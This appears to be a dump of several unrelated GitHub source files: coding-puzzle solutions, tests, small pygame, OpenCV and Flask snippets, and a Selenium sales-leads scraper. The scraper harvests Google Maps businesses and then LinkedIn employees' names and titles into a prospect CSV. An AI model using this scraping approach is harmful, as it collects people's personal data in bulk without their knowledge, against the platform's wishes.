\n","repo_name":"daje0601/codingtest","sub_path":"leetcode/20230125.py","file_name":"20230125.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"71559351160","text":"import pytest\n\nimport torch\nfrom vmas import make_env\n\nfrom mapless_navigation.maze import Maze\nfrom mapless_navigation.scenario import Scenario\n\ntorch.manual_seed(0)\nDEVICE='cpu'\n\nclass TestMaze:\n @pytest.mark.parametrize(\"resolution\", [1,2,4])\n @pytest.mark.parametrize(\"w\", [50,100])\n @pytest.mark.parametrize(\"h\", [50,100])\n @pytest.mark.parametrize(\"minimum_room_length\", [4,8])\n @pytest.mark.parametrize(\"minimum_gap_size\", [1,2])\n def test_maze_creation(self,\n resolution: int,\n w: float,\n h: float,\n minimum_room_length: float,\n minimum_gap_size: float):\n maze = Maze(w,h,resolution, minimum_room_length, minimum_gap_size)\n assert len(maze.rooms) > 0, \"No rooms found\"\n maze.visualise()\n\nclass TestEnv:\n def test_env_rollout(self):\n env = make_env(\n Scenario(),\n num_envs=1,\n device=\"cpu\",\n seed=1\n )\n env.reset()\n\n for _ in range(100):\n actions = {}\n for i, agent in enumerate(env.agents):\n action = torch.tensor(list(x.tolist() for x in env.action_space.sample()), dtype=torch.float32)\n action = torch.tensor([[0,1]])\n actions.update({agent.name: action})\n env.step(actions)\n","repo_name":"MarkHaoxiang/mapless-navigation","sub_path":"tests/test_env.py","file_name":"test_env.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"74432134839","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 22 13:43:03 2019\r\n\r\n@author: Owner1\r\n\"\"\"\r\n\r\n\"\"\"\r\nI need to fix the scrolling to find the next page element in linkedin task \r\n\r\n\r\n\r\n\r\nRemember to add back in L6H !!!!\r\n\r\nformat_list = [industry, name, territory designation, rep_name, postal code, address, website, contact1, contact2, contact3, contact4, contact5]\r\n\r\n\"\"\"\r\nfrom time import sleep\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.common.exceptions import TimeoutException\r\nfrom selenium.common.exceptions import ElementClickInterceptedException\r\nfrom selenium.common.exceptions import StaleElementReferenceException\r\nfrom selenium.common.exceptions import ElementNotVisibleException\r\nimport datetime\r\nimport time\r\nimport csv\r\nimport re\r\nimport sys\r\nimport psutil\r\n#import os\r\n\r\n\r\n\r\ndef update_search_bar(search_bar, search_term):\r\n search_bar.clear()\r\n search_bar.send_keys(search_term)\r\n search_bar.submit()\r\n\r\ndef build_search_terms(ind_list, postal_codes_list):\r\n terms = []\r\n post = []\r\n for x in postal_codes:\r\n for i in whose_postal:\r\n for j in i[2]:\r\n if x==j:\r\n post.append(x)\r\n \r\n for p in post: \r\n for i in ind_list:\r\n terms.append('\"'+p+'\"'+' '+i)\r\n return terms\r\n\r\ndef regex_parse(tags, contact, company_name):\r\n #NEEDS TO: Prioritize most useful contacts \r\n #this takes a tag or set of tags as input then searches a string for the pattern\r\n output = False # length should be equal to length of jobTags\r\n if company_name.lower() in contact[1].lower():\r\n current_index = 1 #the importance of contact based on position\r\n for tag in tags:\r\n if(isinstance(tag, list)):\r\n lengthToIterate = len(tag)\r\n while output == False and lengthToIterate > 0:\r\n for t in tag: \r\n if t in contact[1].lower():\r\n output = [current_index, contact[0], contact[1]]\r\n \r\n lengthToIterate =- 1\r\n\r\n else: \r\n if tag in contact[1].lower():\r\n output = [current_index, contact[0], contact[1]]\r\n break\r\n \r\n current_index +=1\r\n \r\n return output\r\n\r\ndef google_search(search_terms, master_list_this_run):\r\n global running_total\r\n# global search_terms\r\n global search_term_index\r\n global todays_date\r\n sizeof_list = 0\r\n print(search_terms)\r\n while search_term_index < len(search_terms) and sizeof_list < 3500:\r\n \r\n print('at start')\r\n# for term in search_terms: \r\n search_bar = driver.find_element_by_xpath(\"//input[@title='Search']\")\r\n update_search_bar(search_bar, search_terms[search_term_index])\r\n \r\n #============================================================================================================#\r\n \r\n #add in ensuring that the time between searches is long enough to not get stopped by captcha\r\n \r\n \r\n \r\n \r\n \r\n \r\n #============================================================================================================#\r\n \r\n \r\n \r\n \r\n current_industry = search_terms[search_term_index][6:] #grabs the piece after postal and spaces\r\n test_counter = 0\r\n condition = True\r\n fails_in_row = 0 \r\n total_fails = 0\r\n while condition == True:\r\n #below grabs the a.href of each box so that it can be clicked\r\n try:\r\n print('Try block')\r\n companies_listed_on_page = WebDriverWait(driver, 5).until(\r\n EC.presence_of_all_elements_located((By.XPATH, \"//div[@jsl='$t t-8x4sQ9CC-MQ;$x 0;']//a[@role='link']\"))\r\n )\r\n sleep(2)\r\n companies_listed_on_page = driver.find_elements_by_xpath(\"//div[@jsl='$t t-8x4sQ9CC-MQ;$x 0;']//a[@role='link']\")\r\n except:\r\n fails_in_row +=1\r\n print('excpept block')\r\n #no results found\r\n search_term_index +=1\r\n if fails_in_row > 5:\r\n sleep(8)\r\n \r\n \r\n condition = False\r\n \r\n #extra sleep condition\r\n \r\n \r\n break\r\n \r\n if companies_listed_on_page:\r\n fails_in_row = 0\r\n \r\n for c in companies_listed_on_page:\r\n #future: deets = get_deets(c) -> append to master ; make into function\r\n \r\n# row_format = []\r\n try:\r\n c.click()\r\n except:\r\n try:\r\n sleep(1)\r\n c.click()\r\n except:\r\n #holy fuck \r\n continue\r\n \r\n test_counter+=1\r\n running_total+=1\r\n deets = []\r\n \r\n #================================Change to append 2nd ===============================================================# \r\n deets.append(current_industry)\r\n #====================================================================================================================#\r\n \r\n #keep here to ensure that the driver gets a new value and not the old pane\r\n xpath_company_name = \"//div[@data-attrid='title']//span\" #.text\r\n xpath_address = \"//span[@class='LrzXr']\" #break down into postal and street\r\n xpath_website = \"//a[@class='CL9Uqc ab_button']\" #.get_attribute(\"href\") \r\n xpath_phone = \"//span[@class='LrzXr zdqRlf kno-fv//a[@data-pstn-out-call-url title='Call via Hangouts']\"\r\n\r\n \r\n details_list = [xpath_company_name, xpath_address, xpath_website, xpath_phone]\r\n valid = False\r\n try:\r\n pane = WebDriverWait(driver, 10).until(\r\n EC.visibility_of_element_located((By.XPATH, \"//div[@data-attrid='title']//span\"))\r\n )\r\n except TimeoutException:\r\n condition = False\r\n print('I am lost for how this even can occur -if this continues happening then try printing body of response')\r\n break\r\n \r\n sleep(0.8)\r\n for i in details_list:\r\n try:\r\n x = driver.find_element_by_xpath(i)\r\n if i == xpath_website:\r\n tag = x.get_attribute(\"href\")\r\n #if we do email scraping -> logic here\r\n else:\r\n tag = x.text\r\n if i == xpath_address:\r\n tag_postal = tag[-7:]\r\n \r\n \r\n \r\n for i in whose_postal:\r\n for j in i[2]:\r\n if tag_postal[0:3] == j:\r\n valid = True\r\n current_territory_code = i[1]\r\n current_rep_name = i[0]\r\n deets.append(current_territory_code)\r\n deets.append(current_rep_name)\r\n \r\n \r\n deets.append(tag_postal)\r\n tag = tag[:-7]\r\n a_pieces = tag.split(',')\r\n if a_pieces[0].lower() == 'canada':\r\n a_pieces.remove('Canada')\r\n \r\n deets.append(a_pieces[1])\r\n deets.append(a_pieces[2])\r\n \r\n tag = a_pieces[0] \r\n for char in tag:\r\n if char.isdigit() == False:\r\n break\r\n# if char.isdigit():\r\n if i == xpath_company_name:\r\n #clean for crap in the string \r\n tag = re.sub(r\"[^A-Za-z0-9\\-\\s]\", '', tag)\r\n \r\n \r\n #can add check by regex to ensure actually a postal code eventually\r\n print(tag)\r\n deets.append(tag)\r\n except:\r\n tag = 'NF'\r\n #postal code spins off of address and rep+territory is determined by postal code\r\n if i == xpath_address:\r\n deets.append('Territory undefined')\r\n deets.append('Rep undefined')\r\n deets.append('NF - Postal')\r\n \r\n \r\n deets.append(tag)\r\n \r\n deets.append(todays_date)\r\n if valid:\r\n master_list_this_run.append(deets)\r\n try:\r\n go_to_next_page = driver.find_element_by_xpath(\"//a[@id='pnnext']\")\r\n go_to_next_page.click()\r\n companies_listed_on_page = driver.find_elements_by_xpath(\"//div[@jsl='$t t-8x4sQ9CC-MQ;$x 0;']//a[@role='link']\")\r\n\r\n\r\n except:\r\n #search term has been used up\r\n condition = False\r\n sizeof_list = sys.getsizeof(master_list_this_run)\r\n search_term_index += 1\r\n \r\n \r\n print(len(search_terms), search_term_index)\r\n print(test_counter, search_terms[search_term_index-1])\r\n print('Running total is now', running_total)\r\n \r\n \r\n return master_list_this_run\r\n\r\ndef add_linkedin_contacts(master_list_this_run):\r\n for company in master_list_this_run:\r\n company = search_contacts_for_company(company)\r\n \r\n \r\n \r\n #=======================================================================================================#\r\ndef search_contacts_for_company(company):\r\n name = company[1] \r\n linkedin_condition = True\r\n while linkedin_condition == True:\r\n search_string = 'https://www.linkedin.com/search/results/people/?authorCompany=%5B%5D&authorIndustry=%5B%5D&contactInterest=%5B%5D&facetCity=%5B%5D&facetCompany=%5B%5D&facetConnectionOf=%5B%5D&facetCurrentCompany=%5B%5D&facetCurrentFunction=%5B%5D&facetGeoRegion=%5B%5D&facetGroup=%5B%5D&facetGuides=%5B%5D&facetIndustry=%5B%5D&facetNetwork=%5B%5D&facetNonprofitInterest=%5B%5D&facetPastCompany=%5B%5D&facetProfessionalEvent=%5B%5D&facetProfileLanguage=%5B%5D&facetRegion=%5B%5D&facetSchool=%5B%5D&facetSeniority=%5B%5D&facetServiceCategory=%5B%5D&facetState=%5B%5D&groups=%5B%5D&keywords='+ str(name) +'&origin=GLOBAL_SEARCH_HEADER&page=1&refresh=false&skillExplicit=%5B%5D&topic=%5B%5D'\r\n try:\r\n driver.get(search_string)\r\n except UnicodeEncodeError:\r\n continue\r\n \r\n people_at_company = []\r\n\r\n try:\r\n num_pages = driver.find_elements_by_xpath(\"//ul[@class='artdeco-pagination__pages artdeco-pagination__pages--number']//*\")[-1].text\r\n except IndexError or NoSuchElementException:\r\n \r\n num_pages = 1\r\n \r\n \r\n print(num_pages, 'pages')\r\n num_pages = int(num_pages)\r\n \r\n \r\n#================================================================================================================#\r\n \r\n# while len(people_at_company) < 5:\r\n for page in range(num_pages):\r\n #get and analyze data ; job title\r\n \r\n if(len(people_at_company) > 5):\r\n print('This happened (5 contacts) with ', name)\r\n break\r\n yield_page, data_avail = analyze_linkedin_page(page, name)\r\n if data_avail == False:\r\n break\r\n if len(yield_page) > 0:\r\n for contact in yield_page: \r\n people_at_company.append(contact)\r\n \r\n #could be a good use of a probability function : P(Find | F(Current_size, Page))\r\n if page == 25 and len(people_at_company) < 3:\r\n #then defective name string -> hard af to fix/make better \r\n #could also handle that ^ inside this if statement\r\n break\r\n \r\n #==============================================+#\r\n\r\n #==============================================================# \r\n \r\n if num_pages > 1: \r\n try:\r\n next_page = driver.find_element_by_xpath(\"//button[@class='artdeco-pagination__button artdeco-pagination__button--next artdeco-button artdeco-button--muted artdeco-button--icon-right artdeco-button--1 artdeco-button--tertiary ember-view']\")\r\n next_page.click() \r\n except (ElementNotVisibleException, ElementClickInterceptedException):\r\n try:\r\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\r\n next_page = driver.find_element_by_xpath(\"//button[@class='artdeco-pagination__button artdeco-pagination__button--next artdeco-button artdeco-button--muted artdeco-button--icon-right artdeco-button--1 artdeco-button--tertiary ember-view']\")\r\n next_page.click()\r\n except ElementClickInterceptedException:\r\n \r\n sleep(3)\r\n try: \r\n next_page = driver.find_element_by_xpath(\"//button[@class='artdeco-pagination__button artdeco-pagination__button--next artdeco-button artdeco-button--muted artdeco-button--icon-right artdeco-button--1 artdeco-button--tertiary ember-view']\")\r\n except NoSuchElementException:\r\n break\r\n \r\n next_page.click()\r\n except NoSuchElementException:\r\n break\r\n \r\n \r\n#===============CHANGE --> CONDITION HANDLED ABOVE ==================================================# \r\n \r\n people_at_company.sort(key=lambda x: x[0])\r\n if len(people_at_company) <5:\r\n #needed = 5-len(p@c)\r\n for i in range(5-len(people_at_company)):\r\n people_at_company.append('NA')\r\n else:\r\n #greater than 5 -> prioritize\r\n people_at_company = people_at_company[:5]\r\n \r\n \r\n for item in people_at_company:\r\n #2 cases generally: 5 NA's or a list of lists\r\n if(isinstance(item, list)):\r\n #build contact \r\n cont = item[1] + \" - \" + item[2] \r\n company.append(cont)\r\n else: \r\n company.append(item)\r\n linkedin_condition = False\r\n \r\n return company\r\n #=======================================================================================================# \r\n \r\ndef analyze_linkedin_page(page, name):\r\n #check if there are actually contacts on this page \r\n important_titles = [['ceo','chief executive officer', 'broker of record', 'broker', 'partner', 'owner'], 'president',\r\n ['cfo', 'chief financial officer'], \r\n ['coo','chief operating officer'], ['cto', 'chief technology officer'], \r\n ['cmo', 'chief marketing officer'], ['cio', 'chief information officer'], 'director'\r\n 'controller', 'office manager', 'head of', 'operations']\r\n \r\n people_at_company = []\r\n try:\r\n contact_name_elems = WebDriverWait(driver, 10).until(\r\n EC.presence_of_all_elements_located((By.XPATH, \"//span[@class='name actor-name']\"))\r\n )\r\n data_avail = True\r\n except TimeoutException:\r\n data_avail = False\r\n \r\n if data_avail:\r\n i = 0\r\n # contact_name_elems = driver.find_elements_by_xpath(\"//span[@class='name actor-name']\")\r\n contact_names = []\r\n \r\n while i < len(contact_name_elems):\r\n try:\r\n contact_names.append(contact_name_elems[i].text)\r\n i +=1\r\n except StaleElementReferenceException:\r\n del contact_name_elems\r\n contact_name_elems = driver.find_elements_by_xpath(\"//span[@class='name actor-name']\")\r\n \r\n i = 0\r\n contact_roles_elems = driver.find_elements_by_xpath(\"//p[@class='subline-level-1 t-14 t-black t-normal search-result__truncate']//span[@dir='ltr']\")\r\n contact_roles = []\r\n while i < len(contact_roles_elems):\r\n try:\r\n \r\n contact_roles.append(contact_roles_elems[i].text.lower())\r\n i +=1\r\n except StaleElementReferenceException:\r\n del contact_roles_elems\r\n contact_roles_elems = driver.find_elements_by_xpath(\"//p[@class='subline-level-1 t-14 t-black t-normal search-result__truncate']//span[@dir='ltr']\")\r\n \r\n \r\n \"\"\"\r\n \r\n Add in check and analysis of \"Current: Blah blah at Blah\" section\r\n \r\n \r\n \"\"\"\r\n \r\n #build contacts with the extracted information\r\n for i in range(len(contact_names)):\r\n contact = []\r\n contact.append(contact_names[i])\r\n contact.append(contact_roles[i])\r\n useful = regex_parse(important_titles, contact, name)\r\n # print(useful)\r\n if useful != False:\r\n people_at_company.append(useful)\r\n print(people_at_company)\r\n \r\n return people_at_company, data_avail\r\n \r\n \r\ndef write_to_file(master_list_this_run, prospects_file):\r\n with open(prospects_file, mode='a') as prospects_file:\r\n csv_writer = csv.writer(prospects_file, delimiter=',', lineterminator='\\n')\r\n for i in master_list_this_run:\r\n csv_writer.writerow([s.decode(\"utf-8\") for s in i]) #needs to be fixed\r\n\r\n prospects_file.close()\r\n\r\n\r\ndef account_type():\r\n# return current or competitive or major{current, competitive}\r\n return None\r\n##to get the items on a page\r\n\r\n\r\n#email would come through scraping site\r\n#create timestamp\r\n#territory designation requires table of t(Person, Postals)\r\n\r\n\r\n\r\nwhose_postal = [\r\n [\"Tony\", 'x13', ['M6P', 'M6', 'M8','M8W', 'M8Y', 'M8Z', 'L4V', 'L4W', 'L4X','L4Y', 'L5A', 'L5B', 'L5E', 'L5G', 'L5P', 'M9C']],\r\n [\"Shaq\",'x11', ['L5C', 'L5H', 'L5J', 'L5K', 'L5L', 'L5M', 'L6J', 'L6K', 'L6L', 'L6M']], #add back in L6H!!! I took it out in order to not do again\r\n [\"Karen\",'x14', ['L0J', 'L4H', 'L5N', 'L5R', 'L5V', 'L5W', 'L6P', 'L6R', 'L6S', 'L6V', 'L6W', 'L6X', 'L6Y', 'L6Z', 'L7A']],\r\n [\"Nicola\", 'x17',['L4T', 'L4Z', 'L5S', 'L5T', 'L6T']],\r\n [\"Brandon\", 'x18',['M6L','M6M', 'M6N', 'M2H', 'M8X', 'M2J', 'M9A', 'M9B', 'M9N', 'M9P', 'M9R', 'M2K', 'M2M', 'M2N', 'M2R', 'M3H', 'M3J']],\r\n [\"Daniel\", 'x20', ['L4K' 'L4L', 'M3K', 'M3L', 'M3M', 'M3N', 'M9L', 'M9M', 'M9V', 'M9W']]\r\n]\r\n\r\npostal_codes = ['L8E', 'L8H','L8J', 'L8K', 'L8G', #STONEY CREEK \r\n'L8T','L8V','L8W','L9A','L9C','L9B', #HAMILTON - MOUNTAIN AREA\r\n'L8P','L8R','L8S','L9G','L9K','L9H', #HAMILTON - WEST\r\n'L7L','L7N','L7M','L7P','L7R','L7S','L7T', #BURLINGTON\r\n'L6H','L6J','L6K','L6L','L6M', #OAKVILLE\r\n#L5H IS PORT CREDIT AND L5V IS STREETSVILLE\r\n'L4W','L4X','L4Y','L4Z','L5R','L5A','L5B','L5C','L5K','L5L','L5E','L5G','L5H','L5J','L5M','L5N','L5W','L5V', #MISSISSAUGA\r\n'L6V','L6W','L6X','L6Y','L6Z','L7A','L6P','L6R','L6S','L6T', #BRAMPTON\r\n'M6S','M8V','M8W','M8X','M9A','M9B','M8Y','M8Z','M9C','M9L','M9M','M9N','M9P','M9R','M9V','M9W', #ETOBICOKE\r\n'M6A','M6B','M6C','M6E','M6G','M6H','M6L','M6M','M6N','M6P', #YORK\r\n'M2H','M2J','M2K','M2L','M2M','M2N','M2P','M2R','M3A','M3B','M3C','M3H', #WILLOWDALE\r\n'M4G','M4H','M4N','M4P','M4R','M5P','M4S','M4T','M4V','M5M','M5N', #TORONTO NORTH\r\n'M4C','M4E','M4J','M4K','M4L','M4M','M1B','M1S','M1T','M1W','M1V','M1X', #EAST YORK AND BEACH\r\n'M1B','M1S','M1T','M1W','M1V','M1X', #SCARBOROUGH NORTH\r\n'M1J','M1K','M1L','M1M','M1N','M1P','M1R','M4A','M4B', #SCARBOROUGH WEST\r\n'M1C','M1E','M1G','M1H', #SCARBOROUGH EAST\r\n'L3R','L6C','L6G', #UNIONVILLE\r\n'L3P','L3S','L6B','L6E', #MARKHAM\r\n'L3T','L4J', #THORNHILL\r\n'L3X','L3Y','L4G', #NEWMARKET AND AURORA\r\n'L4B','L4C','L4S','L4E', #RICHMOND HILL\r\n'L4H','L4L','L4K','L6A' #VAUGHAN\r\n]\r\n\r\n\r\nindustries = [\r\n'Copier',\r\n'Canon',\r\n'Toshiba',\r\n'Kyocera',\r\n'Ricoh',\r\n'Konica Minolta',\r\n'Sharp Printer',\r\n'Printer',\r\n'HP',\r\n'Managed Print',\r\n'Document Management',\r\n'Oki Data',\r\n'Printing Solutions',\r\n'Production Print',\r\n'Colour Management'\r\n]\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n opts = Options()\r\n# prefs = {'profile.default_content_setting_values': {'cookies': 2, 'images': 2, 'javascript': 2, \r\n# 'plugins': 2, 'popups': 2, 'geolocation': 2, \r\n# 'notifications': 2, 'auto_select_certificate': 2, 'fullscreen': 2, \r\n# 'mouselock': 2, 'mixed_script': 2, 'media_stream': 2, \r\n# 'media_stream_mic': 2, 'media_stream_camera': 2, 'protocol_handlers': 2, \r\n# 'ppapi_broker': 2, 'automatic_downloads': 2, 'midi_sysex': 2, \r\n# 'push_messaging': 2, 'ssl_cert_decisions': 2, 'metro_switch_to_desktop': 2, \r\n# 'protected_media_identifier': 2, 'app_banner': 2, 'site_engagement': 2, \r\n# 'durable_storage': 2, 'disk-cache-size': 4096}}\r\n# opts.add_experimental_option(\"prefs\", prefs)\r\n opts.add_argument(\"--user-data-dir=/home/galensprout/.config/google-chrome\")\r\n driver = webdriver.Chrome('/usr/bin/chromedriver', options=opts)\r\n \r\n \r\n process_id = psutil.Process(driver.service.process.pid)\r\n print(\"Process Information(Parent): \", process_id)\r\n child_processes = process_id.children(recursive=True)\r\n for child in child_processes:\r\n print('Child PID', child)\r\n \r\n \r\n search_terms = build_search_terms(industries, postal_codes)\r\n todays_date = datetime.datetime.today().strftime('%Y-%m-%d')\r\n master_list_this_run = []\r\n running_total = 0 \r\n search_term_index = 0\r\n while search_term_index < len(search_terms): \r\n time_start_process = time.time()\r\n \r\n driver.get('https://www.google.com/search?source=hp&ei=TtleXfv5JeSI_QaZ44_YBQ&q=m3h%20realtors&oq=m3h+realtors&gs_l=psy-ab.3..33i160l2.1798.4372..4439...0.0..0.113.934.9j2......0....1..gws-wiz.......0i131j0j38j0i22i30j0i22i10i30.8QpbyNqCNcI&ved=2ahUKEwif24G9iJfkAhXuQ98KHUGsC4MQvS4wAHoECAsQIA&uact=5&npsic=0&rflfq=1&rlha=0&rllag=43779574,-79469222,752&tbm=lcl&rldimm=13008810070858663899&rldoc=1&tbs=lrf:!2m1!1e2!2m1!1e3!3sIAE,lf:1,lf_ui:2#rlfi=hd:;si:13008810070858663899;mv:!1m2!1d43.7944211!2d-79.41743699999999!2m2!1d43.6476987!2d-79.6166288!3m12!1m3!1d71126.18765552614!2d-79.51703289999999!3d43.7210599!2m3!1f0!2f0!3f0!3m2!1i291!2i296!4f13.1;tbs:lrf:!2m1!1e2!2m1!1e3!3sIAE,lf:1,lf_ui:2')\r\n\r\n \"\"\"insert multiprocessing here - change linkedin code to def get_contacts(driver, company_names): \"\"\"\r\n master_list_this_run = google_search(search_terms, master_list_this_run)\r\n \r\n time_end_process = time.time()\r\n \r\n process_time = (time_end_process - time_start_process)/60\r\n print(\"Process time for the list to be appended to file was \" + str(process_time))\r\n \r\n write_to_file(master_list_this_run, 'competitive_list.csv')\r\n print(master_list_this_run, search_term_index)\r\n \r\n master_list_this_run = [] #reset to 0 after the data has been offloaded into a csv\r\n# except Exception as err:\r\n# \r\n# \"\"\" catch error and print \"\"\"\r\n# print(\"Process Information(Parent): \", process_id)\r\n# for child in child_processes:\r\n# print('Child PID', child)\r\n# \r\n# \r\n# print('Error', err)\r\n# print('Current search_term_index is ' + str(search_term_index))\r\n# driver.quit()\r\n# \r\n# #output found data \r\n# \r\n# print('\\n\\n\\n\\n\\n')\r\n driver.quit()\r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n#Search for M2N, doesn't matter too much what the string is as long as it gets to google maps for business listings\r\n\r\n","repo_name":"augyg/Sales-Leads-Scraper","sub_path":"competitive_google_script.py","file_name":"competitive_google_script.py","file_ext":"py","file_size_in_byte":25599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"27378011235","text":"from tqdm import tqdm\n\nINPUT_PATH: str = \"../input\"\nOUTPUT_PATH: str = \"./output_py\"\n\nfrom wtslog import Logger\nLOGGER: Logger = Logger(OUTPUT_PATH)\n\nLOGGER.tee(\"Loading input...\")\nwith open(INPUT_PATH, \"r\") as input_file:\n input_lines: [str] = input_file.read().strip().split(\"\\n\")\ninstructions: [str] = [line.strip() for line in tqdm(input_lines)]\nLOGGER.tee(f\"Successfully loaded {len(instructions)} instructions.\")\n\nhorizontal: int = 0\ndepth: int = 0\naim: int = 0\n\nLOGGER.tee(\"Processing instructions...\")\nLOGGER.indent()\nfor ins_inx in tqdm(range(len(instructions))):\n ins: str = instructions[ins_inx]\n ins_prts: [str] = ins.split(\" \")\n ins_name: str = ins_prts[0]\n ins_val: int = int(ins_prts[1])\n ins_repr: str = f\"{ins_inx:04}: {str.ljust(ins_name, 7)}({ins_val:02}) - \"\n\n if ins_name == \"down\":\n old: int = aim\n aim += ins_val\n LOGGER.log(ins_repr + f\"aim {old:06} -> {aim:06}\")\n elif ins_name == \"up\":\n old: int = aim\n aim -= ins_val\n LOGGER.log(ins_repr + f\"aim {old:06} -> {aim:06}\")\n elif ins_name == \"forward\":\n old_h: int = horizontal\n old_d: int = depth\n horizontal += ins_val\n depth += (ins_val * aim)\n LOGGER.log(\n ins_repr\n + f\"horiz {old_h:06} -> {horizontal:06} | depth {old_d:06} -> {depth:06}\"\n )\n else:\n LOGGER.tee(ins_repr + \"Skipping invalid instruction.\")\nLOGGER.unindent()\nLOGGER.tee(f\"Done. Horizontal: {horizontal} | Depth: {depth}\")\nLOGGER.tee(f\"Solution: {horizontal*depth}\")\n\n# Write our logs to the output file\nLOGGER.dump_log()\n","repo_name":"kiriDevs/adventofcode","sub_path":"2021/day02/part2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"26091451418","text":"import pygame\nimport time\n\ndef mod(a,b):\n c=b*(a/b-a//b)\n return c\n \nclass animate:\n def __init__(self,sprites,step,surface,**list):\n self.sprites=sprites\n self.step=step# Either the amount of time per rotate or the number of times it will rotate\n self.total=len(sprites)\n self.surface=surface\n self.on=False\n if \"list\" in list:\n self.list=list[\"list\"]\n self.noips=len(self.list)/len(self.sprites)#number of indexes per sprite\n \n def start(self):\n self.on=True\n \n def update(self,x,y):#Do the animation at a set speed\n if self.on:\n timer=mod(time.time(),self.total*self.step)\n for i in range(self.total):\n if i*self.step<=timer<(i+1)*self.step:\n self.surface.blit(self.sprites[i],(x,y))\n \n def update2(self,x,y,index): #Do the animation a set number of times\n if self.on:\n print(self.noips,index)\n for i in range(len(self.sprites)):\n if self.noips*i<=index p:\n ret,binalized_img = cv2.threshold(redGreen,index,255,cv2.THRESH_BINARY_INV)\n break\n\n kernel = np.ones((2,2),np.uint8)\n binalized_img = cv2.morphologyEx(binalized_img, cv2.MORPH_OPEN, kernel)\n\n return binalized_img\n\n def binalize(img):\n r = img.copy()\n\n # R, G値のみ取り出しグレースケール化\n green = r[:,:,1]\n red = r[:,:,2]\n redGreen = cv2.addWeighted(red, 0.5, green, 0.5, 0)\n\n # binalize\n ret,th_red = cv2.threshold(redGreen,0,255,cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n # cleaning noise by opening\n kernel = np.ones((2,2),np.uint8)\n th_red = cv2.morphologyEx(th_red, cv2.MORPH_OPEN, kernel)\n\n return th_red\n\n # 画像の傾き検出\n # @return 水平からの傾き角度\n def get_degree(img):\n # TODO : マジックナンバー\n l_img = img.copy()\n gray_image = cv2.cvtColor(l_img, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray_image,50,150,apertureSize = 3)\n minLineLength = 200\n maxLineGap = 30\n lines = cv2.HoughLinesP(edges,1,np.pi/180,100,minLineLength,maxLineGap)\n\n sum_arg = 0;\n count = 0;\n for line in lines:\n for x1,y1,x2,y2 in line:\n arg = math.degrees(math.atan2((y2-y1), (x2-x1)))\n HORIZONTAL = 0\n DIFF = 20 # 許容誤差 -> -20 - +20 を本来の水平線と考える\n if arg > HORIZONTAL - DIFF and arg < HORIZONTAL + DIFF : \n sum_arg += arg;\n count += 1\n\n if count == 0:\n return HORIZONTAL\n else:\n return (sum_arg / count) - HORIZONTAL;\n\n def getMaxBlob(bin_img):\n # 一定面積以上のブロブを返す\n labelnum, labelimg, contours, gocs = cv2.connectedComponentsWithStats(bin_img, connectivity=8)\n if len(contours) == 1:\n return np.zeros(bin_img.shape[:2],np.uint8)\n # ラベル:0 は黒色領域\n contours_white = np.delete(contours, 0, axis=0)\n max_size = contours_white.max(axis=0)[4]\n # 平均より大きいブロブ\n # threshold = contours_white.mean(axis=0)[4] * 0.8\n threshold = max_size * 0.15\n # print(contours_white)\n # print(threshold)\n\n accept_labels = []\n for label in range(1, labelnum):\n x,y,w,h,size = contours[label]\n if size >= threshold:\n accept_labels.append(label)\n\n # サイズが閾値を超えたブロブのみ残した画像を返す\n result_img = np.zeros(bin_img.shape[:2],np.uint8)\n for label in accept_labels:\n result_img[labelimg == label] = 255\n\n return result_img\n\n def resize(character_img):\n RESIZED_WIDTH = 35\n RESIZED_HEIGHT = 30\n\n height, width = character_img.shape[:2]\n if height == 0 or width == 0:\n print(\"Invalid Image height(width) in resize()\")\n return None\n else:\n resized_img = cv2.resize(character_img, (RESIZED_WIDTH, RESIZED_HEIGHT), \n interpolation=cv2.INTER_NEAREST)\n return resized_im\n\n","repo_name":"reverentF/result_recognizer","sub_path":"util_image.py","file_name":"util_image.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"16949935643","text":"class Solution(object):\n def wordBreak(self, s, wordDict):\n \"\"\"\n :type s: str\n :type wordDict: Set[str]\n :rtype: bool\n \"\"\"\n n = len(s)\n can = [False] * (n+1)\n can[0] = True\n for r in xrange(1, n+1):\n for w in wordDict:\n m = len(w)\n if can[r-m] and w == s[r-m:r]:\n can[r] = True\n break\n return can[n]\n","repo_name":"scturtle/leetcode-sol","sub_path":"python/139.py","file_name":"139.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"29112485504","text":"from flask import Flask, redirect, url_for, session, render_template, request, send_from_directory\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow, pprint\nfrom flask_migrate import Migrate\nfrom flask_restful import Api\nfrom application.views.google_api import print_index_table\nfrom flask_socketio import SocketIO\nfrom flask_cors import CORS\nimport os\n\n\ndb = SQLAlchemy()\nma = Marshmallow()\nmigrate = Migrate()\napi = Api\nsocketio = SocketIO()\n\ndef create_app(mode='dev'):\n\n app = Flask(__name__)\n\n from application.config import config_name\n app.config.from_object(config_name[mode])\n\n db.init_app(app)\n ma.init_app(app)\n migrate.init_app(app, db)\n socketio.init_app(app)\n CORS(app)\n\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n from application.views.google_api import google_api_bp\n from application.views.user import 